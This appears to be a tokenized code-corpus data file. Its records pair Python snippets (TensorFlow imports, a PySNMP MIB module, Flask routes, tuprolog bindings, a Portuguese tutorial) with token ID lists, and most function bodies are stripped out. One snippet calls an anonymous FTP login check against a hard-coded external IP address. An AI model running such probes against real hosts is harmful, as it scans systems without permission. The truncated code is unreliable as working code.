[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198, 6738, 764, 8692, 1330, 7308, 21575, 198, 6738, 2198, 9830, 13, 27604, 13, 16794, 364, 1330, 3613, 62, 16302, 62, 11250, 198, 198, 11748, 25064, 198, 11748, 28686, 198, 11748, 28686, 13, 6978, 198, 11748, 33918, 198, 11748, 640, 198, 11748, 334, 27112, 198, 11748, 18931, 198, 198, 6404, 1362, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 198, 198, 37811, 198, 16719, 274, 257, 649, 1628, 13, 383, 3141, 15740, 355, 5679, 25, 198, 198, 12, 1135, 2251, 257, 764, 9122, 9830, 8619, 287, 262, 1459, 8619, 13, 198, 12, 1532, 257, 1628, 1541, 7160, 287, 262, 976, 8619, 11, 356, 466, 2147, 13, 198, 37811, 198 ]
3.467153
137
import tensorflow as tf from tensorflow.python.ops import control_flow_ops from six.moves import cPickle import unet import simplified_unet arg_scope = tf.contrib.framework.arg_scope
[ 11748, 11192, 273, 11125, 355, 48700, 198, 6738, 11192, 273, 11125, 13, 29412, 13, 2840, 1330, 1630, 62, 11125, 62, 2840, 198, 6738, 2237, 13, 76, 5241, 1330, 269, 31686, 293, 198, 11748, 555, 316, 198, 11748, 27009, 62, 403, 316, 198, 198, 853, 62, 29982, 796, 48700, 13, 3642, 822, 13, 30604, 13, 853, 62, 29982, 198 ]
3.172414
58
# # PySNMP MIB module GNOME-SMI (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/GNOME-SMI # Produced by pysmi-0.3.4 at Wed May 1 13:19:45 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsIntersection, SingleValueConstraint, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "SingleValueConstraint", "ConstraintsUnion", "ValueSizeConstraint", "ValueRangeConstraint") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") MibIdentifier, ModuleIdentity, TimeTicks, iso, Unsigned32, Counter64, MibScalar, MibTable, MibTableRow, MibTableColumn, IpAddress, Integer32, enterprises, Counter32, Bits, ObjectIdentity, Gauge32, NotificationType = mibBuilder.importSymbols("SNMPv2-SMI", "MibIdentifier", "ModuleIdentity", "TimeTicks", "iso", "Unsigned32", "Counter64", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "IpAddress", "Integer32", "enterprises", "Counter32", "Bits", "ObjectIdentity", "Gauge32", "NotificationType") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") gnome = ModuleIdentity((1, 3, 6, 1, 4, 1, 3319)) gnome.setRevisions(('2007-09-07 00:00', '2005-05-07 00:00', '2003-12-07 00:00', '1998-09-01 00:00',)) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: gnome.setRevisionsDescriptions(('Fixed wrong enterprise number (how comes this typo was unnoticed for so long?).', 'Added gnomeLDAP subtree for LDAP definitions.', 'Added gnomeSysadmin subtree for GNOME project system administration. Updated contact info.', 'Initial version.',)) if mibBuilder.loadTexts: gnome.setLastUpdated('200709070000Z') if mibBuilder.loadTexts: gnome.setOrganization('GNOME project') if mibBuilder.loadTexts: gnome.setContactInfo('GNU Network Object Model Environment project see http://www.gnome.org for contact persons of a particular area or subproject of GNOME. Administrative contact for MIB module: Jochen Friedrich Ramsaystr. 9 63450 Hanau Germany email: [email protected]') if mibBuilder.loadTexts: gnome.setDescription('The Structure of GNOME.') gnomeProducts = ObjectIdentity((1, 3, 6, 1, 4, 1, 3319, 1)) if mibBuilder.loadTexts: gnomeProducts.setStatus('current') if mibBuilder.loadTexts: gnomeProducts.setDescription('gnomeProducts is the root OBJECT IDENTIFIER from which sysObjectID values are assigned.') gnomeMgmt = ObjectIdentity((1, 3, 6, 1, 4, 1, 3319, 2)) if mibBuilder.loadTexts: gnomeMgmt.setStatus('current') if mibBuilder.loadTexts: gnomeMgmt.setDescription('gnomeMgmt defines the subtree for production GNOME related MIB registrations.') gnomeTest = ObjectIdentity((1, 3, 6, 1, 4, 1, 3319, 3)) if mibBuilder.loadTexts: gnomeTest.setStatus('current') if mibBuilder.loadTexts: gnomeTest.setDescription('gnomeTest defines the subtree for testing GNOME related MIB registrations.') gnomeSysadmin = ObjectIdentity((1, 3, 6, 1, 4, 1, 3319, 4)) if mibBuilder.loadTexts: gnomeSysadmin.setStatus('current') if mibBuilder.loadTexts: gnomeSysadmin.setDescription('gnomeSysadmin defines the subtree for GNOME related Sysadmin MIB registrations.') gnomeLDAP = ObjectIdentity((1, 3, 6, 1, 4, 1, 3319, 5)) if mibBuilder.loadTexts: gnomeLDAP.setStatus('current') if mibBuilder.loadTexts: gnomeLDAP.setDescription('gnomeLDAP defines the subtree for GNOME related LDAP registrations.') mibBuilder.exportSymbols("GNOME-SMI", gnomeMgmt=gnomeMgmt, gnomeSysadmin=gnomeSysadmin, gnomeTest=gnomeTest, gnomeLDAP=gnomeLDAP, PYSNMP_MODULE_ID=gnome, gnome=gnome, gnomeProducts=gnomeProducts)
[ 2, 198, 2, 9485, 15571, 7378, 337, 9865, 8265, 40339, 12, 50, 8895, 357, 4023, 1378, 16184, 76, 489, 8937, 13, 785, 14, 79, 893, 11632, 8, 198, 2, 7054, 45, 13, 16, 2723, 2393, 1378, 14, 14490, 14, 67, 615, 47562, 19, 14, 13603, 14, 76, 571, 82, 13, 16184, 76, 489, 8937, 13, 785, 14, 292, 77, 16, 14, 16630, 13649, 12, 50, 8895, 198, 2, 21522, 771, 416, 279, 893, 11632, 12, 15, 13, 18, 13, 19, 379, 3300, 1737, 220, 352, 1511, 25, 1129, 25, 2231, 13130, 198, 2, 1550, 2583, 42274, 54, 15567, 19, 12, 44, 12, 1415, 2425, 3859, 21450, 2196, 1248, 13, 20, 13, 15, 416, 2836, 288, 615, 47562, 19, 198, 2, 8554, 11361, 2196, 513, 13, 22, 13, 18, 357, 12286, 11, 1526, 2681, 13130, 11, 7769, 25, 1954, 25, 1314, 8, 220, 198, 2, 198, 10267, 33234, 7483, 11, 34142, 11, 2556, 316, 10100, 796, 285, 571, 32875, 13, 11748, 13940, 2022, 10220, 7203, 1921, 45, 16, 1600, 366, 10267, 33234, 7483, 1600, 366, 46541, 1600, 366, 12349, 316, 10100, 4943, 198, 45, 2434, 40161, 11, 796, 285, 571, 32875, 13, 11748, 13940, 2022, 10220, 7203, 1921, 45, 16, 12, 1677, 5883, 1137, 6234, 1600, 366, 45, 2434, 40161, 4943, 198, 3103, 2536, 6003, 9492, 5458, 11, 14206, 11395, 3103, 2536, 2913, 11, 1482, 2536, 6003, 38176, 11, 11052, 10699, 3103, 2536, 2913, 11, 11052, 17257, 3103, 2536, 2913, 796, 285, 571, 32875, 13, 11748, 13940, 2022, 10220, 7203, 1921, 45, 16, 12, 2200, 20032, 12529, 1600, 366, 3103, 2536, 6003, 9492, 5458, 1600, 366, 28008, 11395, 3103, 2536, 2913, 1600, 366, 3103, 2536, 6003, 38176, 1600, 366, 11395, 10699, 3103, 2536, 2913, 1600, 366, 11395, 17257, 3103, 2536, 2913, 4943, 198, 3673, 2649, 13247, 11, 19937, 38143, 3610, 796, 285, 571, 32875, 13, 11748, 13940, 2022, 10220, 7203, 15571, 7378, 85, 17, 12, 10943, 37, 1600, 366, 3673, 2649, 13247, 1600, 366, 26796, 38143, 3610, 4943, 198, 44, 571, 33234, 7483, 11, 19937, 7390, 26858, 11, 3862, 51, 3378, 11, 47279, 11, 791, 32696, 2624, 11, 15034, 2414, 11, 337, 571, 3351, 282, 283, 11, 337, 571, 10962, 11, 337, 571, 10962, 25166, 11, 337, 571, 10962, 39470, 11, 314, 79, 20231, 11, 34142, 2624, 11, 23941, 11, 15034, 2624, 11, 44733, 11, 9515, 7390, 26858, 11, 35094, 469, 2624, 11, 42808, 6030, 796, 285, 571, 32875, 13, 11748, 13940, 2022, 10220, 7203, 15571, 7378, 85, 17, 12, 50, 8895, 1600, 366, 44, 571, 33234, 7483, 1600, 366, 26796, 7390, 26858, 1600, 366, 7575, 51, 3378, 1600, 366, 26786, 1600, 366, 3118, 32696, 2624, 1600, 366, 31694, 2414, 1600, 366, 44, 571, 3351, 282, 283, 1600, 366, 44, 571, 10962, 1600, 366, 44, 571, 10962, 25166, 1600, 366, 44, 571, 10962, 39470, 1600, 366, 40, 79, 20231, 1600, 366, 46541, 2624, 1600, 366, 9255, 18166, 1600, 366, 31694, 2624, 1600, 366, 33, 896, 1600, 366, 10267, 7390, 26858, 1600, 366, 38, 559, 469, 2624, 1600, 366, 3673, 2649, 6030, 4943, 198, 23114, 10100, 11, 8255, 723, 3103, 4018, 796, 285, 571, 32875, 13, 11748, 13940, 2022, 10220, 7203, 15571, 7378, 85, 17, 12, 4825, 1600, 366, 23114, 10100, 1600, 366, 8206, 723, 3103, 4018, 4943, 198, 4593, 462, 796, 19937, 7390, 26858, 19510, 16, 11, 513, 11, 718, 11, 352, 11, 604, 11, 352, 11, 4747, 1129, 4008, 198, 4593, 462, 13, 2617, 18009, 3279, 7, 10786, 12726, 12, 2931, 12, 2998, 3571, 25, 405, 3256, 705, 14315, 12, 2713, 12, 2998, 3571, 25, 405, 3256, 705, 16088, 12, 1065, 12, 2998, 3571, 25, 405, 3256, 705, 21113, 12, 2931, 12, 486, 3571, 25, 405, 3256, 4008, 198, 198, 361, 651, 35226, 7, 76, 571, 32875, 11, 705, 9641, 3256, 357, 15, 11, 657, 11, 657, 4008, 1875, 357, 19, 11, 604, 11, 657, 2599, 198, 220, 220, 220, 611, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 13, 2617, 18009, 3279, 24564, 1968, 507, 7, 10786, 13715, 2642, 13953, 1271, 357, 4919, 2058, 428, 46517, 373, 33755, 329, 523, 890, 29865, 3256, 705, 13003, 19967, 462, 11163, 2969, 13284, 631, 329, 27178, 2969, 17336, 2637, 11, 705, 13003, 19967, 462, 44387, 28482, 13284, 631, 329, 40339, 1628, 1080, 3662, 13, 19433, 2800, 7508, 2637, 11, 705, 24243, 2196, 2637, 11, 4008, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 13, 2617, 5956, 17354, 10786, 2167, 31495, 2998, 2388, 57, 11537, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 13, 2617, 26121, 1634, 10786, 16630, 13649, 1628, 11537, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 13, 2617, 17829, 12360, 10786, 16630, 52, 7311, 9515, 9104, 9344, 1628, 766, 2638, 1378, 2503, 13, 4593, 462, 13, 2398, 329, 2800, 6506, 286, 257, 1948, 1989, 393, 850, 16302, 286, 40339, 13, 30048, 2800, 329, 337, 9865, 8265, 25, 449, 420, 831, 46099, 47959, 2536, 13, 860, 718, 2682, 1120, 9530, 559, 4486, 3053, 25, 474, 420, 831, 31, 1416, 859, 13, 2934, 11537, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 13, 2617, 11828, 10786, 464, 32522, 286, 40339, 2637, 8, 198, 4593, 462, 48650, 796, 9515, 7390, 26858, 19510, 16, 11, 513, 11, 718, 11, 352, 11, 604, 11, 352, 11, 4747, 1129, 11, 352, 4008, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 48650, 13, 2617, 19580, 10786, 14421, 11537, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 48650, 13, 2617, 11828, 10786, 4593, 462, 48650, 318, 262, 6808, 25334, 23680, 4522, 3525, 5064, 38311, 422, 543, 25064, 10267, 2389, 3815, 389, 8686, 2637, 8, 198, 4593, 462, 44, 70, 16762, 796, 9515, 7390, 26858, 19510, 16, 11, 513, 11, 718, 11, 352, 11, 604, 11, 352, 11, 4747, 1129, 11, 362, 4008, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 44, 70, 16762, 13, 2617, 19580, 10786, 14421, 11537, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 44, 70, 16762, 13, 2617, 11828, 10786, 4593, 462, 44, 70, 16762, 15738, 262, 13284, 631, 329, 3227, 40339, 3519, 337, 9865, 47997, 2637, 8, 198, 4593, 462, 14402, 796, 9515, 7390, 26858, 19510, 16, 11, 513, 11, 718, 11, 352, 11, 604, 11, 352, 11, 4747, 1129, 11, 513, 4008, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 14402, 13, 2617, 19580, 10786, 14421, 11537, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 14402, 13, 2617, 11828, 10786, 4593, 462, 14402, 15738, 262, 13284, 631, 329, 4856, 40339, 3519, 337, 9865, 47997, 2637, 8, 198, 4593, 462, 44387, 28482, 796, 9515, 7390, 26858, 19510, 16, 11, 513, 11, 718, 11, 352, 11, 604, 11, 352, 11, 4747, 1129, 11, 604, 4008, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 44387, 28482, 13, 2617, 19580, 10786, 14421, 11537, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 44387, 28482, 13, 2617, 11828, 10786, 4593, 462, 44387, 28482, 15738, 262, 13284, 631, 329, 40339, 3519, 311, 893, 28482, 337, 9865, 47997, 2637, 8, 198, 4593, 462, 11163, 2969, 796, 9515, 7390, 26858, 19510, 16, 11, 513, 11, 718, 11, 352, 11, 604, 11, 352, 11, 4747, 1129, 11, 642, 4008, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 11163, 2969, 13, 2617, 19580, 10786, 14421, 11537, 198, 361, 285, 571, 32875, 13, 2220, 8206, 82, 25, 19967, 462, 11163, 2969, 13, 2617, 11828, 10786, 4593, 462, 11163, 2969, 15738, 262, 13284, 631, 329, 40339, 3519, 27178, 2969, 47997, 2637, 8, 198, 76, 571, 32875, 13, 39344, 13940, 2022, 10220, 7203, 16630, 13649, 12, 50, 8895, 1600, 19967, 462, 44, 70, 16762, 28, 4593, 462, 44, 70, 16762, 11, 19967, 462, 44387, 28482, 28, 4593, 462, 44387, 28482, 11, 19967, 462, 14402, 28, 4593, 462, 14402, 11, 19967, 462, 11163, 2969, 28, 4593, 462, 11163, 2969, 11, 350, 56, 15571, 7378, 62, 33365, 24212, 62, 2389, 28, 4593, 462, 11, 19967, 462, 28, 4593, 462, 11, 19967, 462, 48650, 28, 4593, 462, 48650, 8, 198 ]
2.935841
1,356
import ftplib if __name__ == '__main__': anonlogin('154.221.18.35')
[ 11748, 10117, 489, 571, 628, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 281, 261, 38235, 10786, 21526, 13, 26115, 13, 1507, 13, 2327, 11537 ]
2.242424
33
#!/bin/python import getopt import sys convert('amplifier') convert('attacker') convert('victim') convert('amplifier_input') convert('amplifier_output')
[ 2, 48443, 8800, 14, 29412, 198, 198, 11748, 651, 8738, 198, 11748, 25064, 628, 198, 1102, 1851, 10786, 321, 489, 7483, 11537, 198, 1102, 1851, 10786, 1078, 10735, 11537, 198, 1102, 1851, 10786, 32433, 320, 11537, 198, 1102, 1851, 10786, 321, 489, 7483, 62, 15414, 11537, 198, 1102, 1851, 10786, 321, 489, 7483, 62, 22915, 11537, 198 ]
2.736842
57
############################################################################## # # Copyright (c) 2008 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## """PostgreSQL adapter for RelStorage.""" from __future__ import absolute_import from __future__ import print_function import logging from ..._util import metricmethod from ..connmanager import AbstractConnectionManager from .util import backend_pid_for_connection logger = logging.getLogger(__name__)
[ 29113, 29113, 7804, 4242, 2235, 198, 2, 198, 2, 15069, 357, 66, 8, 3648, 1168, 3008, 5693, 290, 25767, 669, 13, 198, 2, 1439, 6923, 33876, 13, 198, 2, 198, 2, 770, 3788, 318, 2426, 284, 262, 8617, 286, 262, 1168, 3008, 5094, 13789, 11, 198, 2, 10628, 362, 13, 16, 357, 57, 6489, 737, 220, 317, 4866, 286, 262, 1168, 6489, 815, 13873, 428, 6082, 13, 198, 2, 12680, 47466, 3180, 36592, 2389, 1961, 366, 1921, 3180, 1, 5357, 15529, 5357, 11096, 7788, 32761, 6375, 8959, 49094, 198, 2, 34764, 11015, 15986, 13954, 48778, 1961, 11, 47783, 2751, 11, 21728, 5626, 40880, 5390, 11, 3336, 8959, 49094, 198, 2, 34764, 11015, 3963, 37977, 2538, 11, 34482, 3398, 1565, 5603, 25382, 11, 36218, 38604, 3268, 10913, 2751, 12529, 11, 5357, 376, 46144, 198, 2, 7473, 317, 16652, 2149, 37232, 33079, 48933, 13, 198, 2, 198, 29113, 29113, 7804, 4242, 2235, 198, 37811, 6307, 47701, 21302, 329, 4718, 31425, 526, 15931, 198, 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 198, 11748, 18931, 198, 198, 6738, 2644, 62, 22602, 1330, 18663, 24396, 198, 6738, 11485, 37043, 37153, 1330, 27741, 32048, 13511, 198, 6738, 764, 22602, 1330, 30203, 62, 35317, 62, 1640, 62, 38659, 198, 198, 6404, 1362, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 628 ]
4.127193
228
from flask import jsonify, request, url_for, g, current_app, render_template from app import db from app.deals.models import Deal from app.api import bp from app.api.auth import token_auth from app.api.errors import bad_request from app.email import send_email @bp.route('/deals/<int:id>', methods=['GET']) @token_auth.login_required @bp.route('/deals', methods=['GET']) @token_auth.login_required @bp.route('/deals', methods=['POST']) @token_auth.login_required @bp.route('/deals/<int:id>', methods=['PUT']) @token_auth.login_required
[ 6738, 42903, 1330, 33918, 1958, 11, 2581, 11, 19016, 62, 1640, 11, 308, 11, 1459, 62, 1324, 11, 8543, 62, 28243, 198, 6738, 598, 1330, 20613, 198, 6738, 598, 13, 14302, 13, 27530, 1330, 15138, 198, 6738, 598, 13, 15042, 1330, 275, 79, 198, 6738, 598, 13, 15042, 13, 18439, 1330, 11241, 62, 18439, 198, 6738, 598, 13, 15042, 13, 48277, 1330, 2089, 62, 25927, 198, 6738, 598, 13, 12888, 1330, 3758, 62, 12888, 198, 198, 31, 46583, 13, 38629, 10786, 14, 14302, 14, 27, 600, 25, 312, 29, 3256, 5050, 28, 17816, 18851, 6, 12962, 198, 31, 30001, 62, 18439, 13, 38235, 62, 35827, 198, 198, 31, 46583, 13, 38629, 10786, 14, 14302, 3256, 5050, 28, 17816, 18851, 6, 12962, 198, 31, 30001, 62, 18439, 13, 38235, 62, 35827, 198, 198, 31, 46583, 13, 38629, 10786, 14, 14302, 3256, 5050, 28, 17816, 32782, 6, 12962, 198, 31, 30001, 62, 18439, 13, 38235, 62, 35827, 198, 198, 31, 46583, 13, 38629, 10786, 14, 14302, 14, 27, 600, 25, 312, 29, 3256, 5050, 28, 17816, 30076, 6, 12962, 198, 31, 30001, 62, 18439, 13, 38235, 62, 35827, 198 ]
2.887701
187
# função usada abaixo 'print()' é usada para exibir ou imprimir mensagens no console. # Iteiros | Int print(10) # Será exibido no console o numero 10 # Ponto Flutuante | Float print(9.5) # Cadeia de caracteres | Strings cadeia_de_caracter = "Olá Mundo!" print(cadeia_de_caracter) # Boleano | Boolean valor_verdadeiro = True valor_falso = False print("valor_verdadeiro: ", valor_verdadeiro) print("valor_falso: ", valor_falso) # Tipo de dado None, em Python não existe tipo de dados Null. valor_none = None print(valor_none) # Para verificar o tipo de dado armazenado em uma varivel usar a função type print("\n") print(type(valor_none)) print(type(valor_verdadeiro)) print(type(cadeia_de_caracter))
[ 2, 1257, 16175, 28749, 514, 4763, 450, 64, 844, 78, 705, 4798, 3419, 6, 38251, 514, 4763, 31215, 409, 571, 343, 267, 84, 848, 3036, 343, 285, 641, 363, 641, 645, 8624, 13, 198, 198, 2, 632, 20295, 4951, 930, 2558, 198, 4798, 7, 940, 8, 198, 2, 2930, 6557, 409, 571, 17305, 645, 8624, 267, 997, 3529, 838, 198, 198, 2, 350, 5957, 1610, 315, 84, 12427, 930, 48436, 198, 4798, 7, 24, 13, 20, 8, 198, 198, 2, 327, 671, 544, 390, 1097, 529, 68, 411, 930, 4285, 654, 198, 46395, 544, 62, 2934, 62, 7718, 7321, 796, 366, 30098, 6557, 33324, 78, 2474, 198, 4798, 7, 46395, 544, 62, 2934, 62, 7718, 7321, 8, 198, 198, 2, 347, 2305, 5733, 930, 41146, 198, 2100, 273, 62, 332, 67, 671, 7058, 796, 6407, 198, 2100, 273, 62, 69, 14508, 796, 10352, 198, 4798, 7203, 2100, 273, 62, 332, 67, 671, 7058, 25, 33172, 1188, 273, 62, 332, 67, 671, 7058, 8, 198, 4798, 7203, 2100, 273, 62, 69, 14508, 25, 33172, 1188, 273, 62, 69, 14508, 8, 198, 198, 2, 23095, 78, 390, 288, 4533, 6045, 11, 795, 11361, 299, 28749, 2152, 68, 8171, 78, 390, 9955, 418, 35886, 13, 198, 2100, 273, 62, 23108, 796, 6045, 198, 4798, 7, 2100, 273, 62, 23108, 8, 198, 198, 2, 2547, 64, 3326, 811, 283, 267, 8171, 78, 390, 288, 4533, 3211, 1031, 268, 4533, 795, 334, 2611, 1401, 425, 75, 514, 283, 257, 1257, 16175, 28749, 2099, 198, 4798, 7203, 59, 77, 4943, 198, 198, 4798, 7, 4906, 7, 2100, 273, 62, 23108, 4008, 198, 4798, 7, 4906, 7, 2100, 273, 62, 332, 67, 671, 7058, 4008, 198, 4798, 7, 4906, 7, 46395, 544, 62, 2934, 62, 7718, 7321, 4008, 198 ]
2.417808
292
from tuprolog import logger # noinspection PyUnresolvedReferences import jpype # noinspection PyUnresolvedReferences import jpype.imports # noinspection PyProtectedMember from _jpype import _JObject as JObjectClass # noinspection PyUnresolvedReferences import java.util as _jutils # noinspection PyUnresolvedReferences import java.lang as _jlang # noinspection PyUnresolvedReferences import kotlin as _kotlin # noinspection PyUnresolvedReferences import kotlin.sequences as _ksequences # noinspection PyUnresolvedReferences import it.unibo.tuprolog.utils as _tuprolog_utils from typing import Iterable as PyIterable from typing import Iterator as PyIterator from typing import Mapping, MutableMapping, Callable, Any from .jvmioutils import * Arrays = _jutils.Arrays ArrayList = _jutils.ArrayList Iterator = _jutils.Iterator Map = _jutils.Map NoSuchElementException = _jutils.NoSuchElementException Iterable = _jlang.Iterable JavaSystem = _jlang.System Object = _jlang.Object Pair = _kotlin.Pair Triple = _kotlin.Triple Sequence = _ksequences.Sequence SequencesKt = _ksequences.SequencesKt PyUtils = _tuprolog_utils.PyUtils @jpype.JImplements("java.util.Iterator", deferred=True) @jpype.JImplements("java.lang.Iterable", deferred=True) @jpype.JConversion("kotlin.Pair", instanceof=PyIterable, excludes=str) @jpype.JConversion("kotlin.Triple", instanceof=PyIterable, excludes=str) @jpype.JConversion("java.lang.Iterable", instanceof=PyIterable, excludes=str) # replaces the default __repr__ implementation for java objects, making them use _java_obj_repr JObjectClass.__repr__ = _java_obj_repr @jpype.JImplementationFor("kotlin.sequences.Sequence") @jpype.JConversion("kotlin.sequences.Sequence", instanceof=PyIterable, excludes=str) @jpype.JImplementationFor("java.util.stream.Stream") @jpype.JImplementationFor("java.lang.Comparable") @jpype.JImplementationFor("java.lang.Throwable") _kt_function_classes: MutableMapping[int, Any] = dict() logger.debug("Configure JVM-specific extensions")
[ 6738, 256, 929, 40329, 1330, 49706, 198, 2, 645, 1040, 14978, 9485, 3118, 411, 5634, 19927, 198, 11748, 474, 79, 2981, 198, 2, 645, 1040, 14978, 9485, 3118, 411, 5634, 19927, 198, 11748, 474, 79, 2981, 13, 320, 3742, 198, 2, 645, 1040, 14978, 9485, 19703, 11197, 27608, 198, 6738, 4808, 34523, 2981, 1330, 4808, 41, 10267, 355, 449, 10267, 9487, 198, 2, 645, 1040, 14978, 9485, 3118, 411, 5634, 19927, 198, 11748, 20129, 13, 22602, 355, 4808, 73, 26791, 198, 2, 645, 1040, 14978, 9485, 3118, 411, 5634, 19927, 198, 11748, 20129, 13, 17204, 355, 4808, 73, 17204, 198, 2, 645, 1040, 14978, 9485, 3118, 411, 5634, 19927, 198, 11748, 479, 313, 2815, 355, 4808, 74, 313, 2815, 198, 2, 645, 1040, 14978, 9485, 3118, 411, 5634, 19927, 198, 11748, 479, 313, 2815, 13, 3107, 3007, 355, 4808, 74, 3107, 3007, 198, 2, 645, 1040, 14978, 9485, 3118, 411, 5634, 19927, 198, 11748, 340, 13, 403, 26762, 13, 83, 929, 40329, 13, 26791, 355, 4808, 83, 929, 40329, 62, 26791, 198, 198, 6738, 19720, 1330, 40806, 540, 355, 9485, 29993, 540, 198, 6738, 19720, 1330, 40806, 1352, 355, 9485, 37787, 198, 6738, 19720, 1330, 337, 5912, 11, 13859, 540, 44, 5912, 11, 4889, 540, 11, 4377, 198, 198, 6738, 764, 73, 85, 11632, 448, 4487, 1330, 1635, 628, 198, 3163, 20477, 796, 4808, 73, 26791, 13, 3163, 20477, 198, 198, 19182, 8053, 796, 4808, 73, 26791, 13, 19182, 8053, 198, 198, 37787, 796, 4808, 73, 26791, 13, 37787, 198, 198, 13912, 796, 4808, 73, 26791, 13, 13912, 198, 198, 2949, 16678, 20180, 16922, 796, 4808, 73, 26791, 13, 2949, 16678, 20180, 16922, 198, 198, 29993, 540, 796, 4808, 73, 17204, 13, 29993, 540, 198, 198, 29584, 11964, 796, 4808, 73, 17204, 13, 11964, 198, 198, 10267, 796, 4808, 73, 17204, 13, 10267, 198, 198, 47, 958, 796, 4808, 74, 313, 2815, 13, 47, 958, 198, 198, 14824, 1154, 796, 4808, 74, 313, 2815, 13, 14824, 1154, 198, 198, 44015, 594, 796, 4808, 74, 3107, 3007, 13, 44015, 594, 198, 198, 44015, 3007, 42, 83, 796, 4808, 74, 3107, 3007, 13, 44015, 3007, 42, 83, 198, 198, 20519, 18274, 4487, 796, 4808, 83, 929, 40329, 62, 26791, 13, 20519, 18274, 4487, 628, 198, 198, 31, 34523, 2981, 13, 41, 3546, 1154, 902, 7203, 12355, 13, 22602, 13, 37787, 1600, 28651, 28, 17821, 8, 628, 198, 31, 34523, 2981, 13, 41, 3546, 1154, 902, 7203, 12355, 13, 17204, 13, 29993, 540, 1600, 28651, 28, 17821, 8, 628, 198, 198, 31, 34523, 2981, 13, 41, 3103, 9641, 7203, 74, 313, 2815, 13, 47, 958, 1600, 4554, 1659, 28, 20519, 29993, 540, 11, 36833, 28, 2536, 8, 628, 198, 198, 31, 34523, 2981, 13, 41, 3103, 9641, 7203, 74, 313, 2815, 13, 14824, 1154, 1600, 4554, 1659, 28, 20519, 29993, 540, 11, 36833, 28, 2536, 8, 628, 628, 198, 31, 34523, 2981, 13, 41, 3103, 9641, 7203, 12355, 13, 17204, 13, 29993, 540, 1600, 4554, 1659, 28, 20519, 29993, 540, 11, 36833, 28, 2536, 8, 628, 628, 628, 198, 2, 24020, 262, 4277, 11593, 260, 1050, 834, 7822, 329, 20129, 5563, 11, 1642, 606, 779, 4808, 12355, 62, 26801, 62, 260, 1050, 198, 41, 10267, 9487, 13, 834, 260, 1050, 834, 796, 4808, 12355, 62, 26801, 62, 260, 1050, 628, 198, 31, 34523, 2981, 13, 41, 3546, 32851, 1890, 7203, 74, 313, 2815, 13, 3107, 3007, 13, 44015, 594, 4943, 628, 198, 198, 31, 34523, 2981, 13, 41, 3103, 9641, 7203, 74, 313, 2815, 13, 3107, 3007, 13, 44015, 594, 1600, 4554, 1659, 28, 20519, 29993, 540, 11, 36833, 28, 2536, 8, 628, 198, 31, 34523, 2981, 13, 41, 3546, 32851, 1890, 7203, 12355, 13, 22602, 13, 5532, 13, 12124, 4943, 628, 198, 31, 34523, 2981, 13, 41, 3546, 32851, 1890, 7203, 12355, 13, 17204, 13, 5377, 37064, 4943, 628, 198, 31, 34523, 2981, 13, 41, 3546, 32851, 1890, 7203, 12355, 13, 17204, 13, 39431, 540, 4943, 628, 198, 198, 62, 21841, 62, 8818, 62, 37724, 25, 13859, 540, 44, 5912, 58, 600, 11, 4377, 60, 796, 8633, 3419, 628, 198, 198, 6404, 1362, 13, 24442, 7203, 16934, 495, 449, 15996, 12, 11423, 18366, 4943, 198 ]
2.949495
693
#!/usr/bin/env python # Copyright 2018-2019 Alvaro Bartolome @ alvarob96 in GitHub # See LICENSE for details.
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 2, 15069, 2864, 12, 23344, 978, 7785, 78, 13167, 349, 462, 2488, 435, 7785, 672, 4846, 287, 21722, 198, 2, 4091, 38559, 24290, 329, 3307, 13, 198 ]
3
37
